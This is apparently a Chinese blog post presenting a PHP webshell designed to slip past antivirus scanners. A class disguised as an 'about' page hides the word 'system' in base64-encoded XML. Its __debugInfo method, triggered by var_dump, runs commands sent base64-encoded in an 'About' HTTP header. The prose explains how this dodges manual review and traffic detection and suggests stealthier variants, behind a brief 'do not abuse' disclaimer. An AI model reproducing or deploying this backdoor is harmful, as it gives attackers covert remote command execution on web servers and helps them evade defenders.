代码
<?php
class about
{
private $Company;
public function __construct($Company)
{
$this->company = $Company;
}
public function __debugInfo()
{
$xml = base64_decode("PHVzZXI+CiAgICA8ZXNvbj5zeXN0ZW08L2Vzb24+CjwvdXNlcj4=");
$xmlIt = new SimpleXMLIterator($xml);
$xmlIt->rewind();
$result = $xmlIt->xpath('/user/eson');
$result = $result[0]->__toString();
($result)(base64_decode(getallheaders()['About']));
return ['company' => $this->company, 'info' => '公司版权信息!', 'timestamp' => time()];
}
}
$about = new about("XXXXXXX");
var_dump($about);
查杀结果
效果
原理
今天看公众号上的文章,看到一篇关于PHP免杀的的思路,顺着别人的思路走下去,就成了这个样子,原思路里面虽然也做到了免杀,但是system字符的特征太过于明显,即便过了免杀,也可能手工查找被发现,或者流量特征里面被发现。
所以在他的思路上做了进一步的优化,就有现在这个样子,关键点并不多,懂的都懂,就是XML和DEBUG的双重应用,按照这种应用虽然看起来麻烦点,但是安全性相对较高,如果不追求安全性的话,也可以把传参的步骤改的简单的一点。
或者如果还想继续优化,可以脚本写死,不传参,或者更改传参的方式变得更隐蔽。
其他就没有了,还是那句话,请勿滥用。
本文章只注重于技术交流,不对浏览者的滥用行为承担结果。
本文著作权归作者 [ eson ] 享有,未经作者书面授权,禁止转载,封面图片来源于 [ 互联网 ] ,本文仅供个人学习、研究和欣赏使用。如有异议,请联系博主及时处理。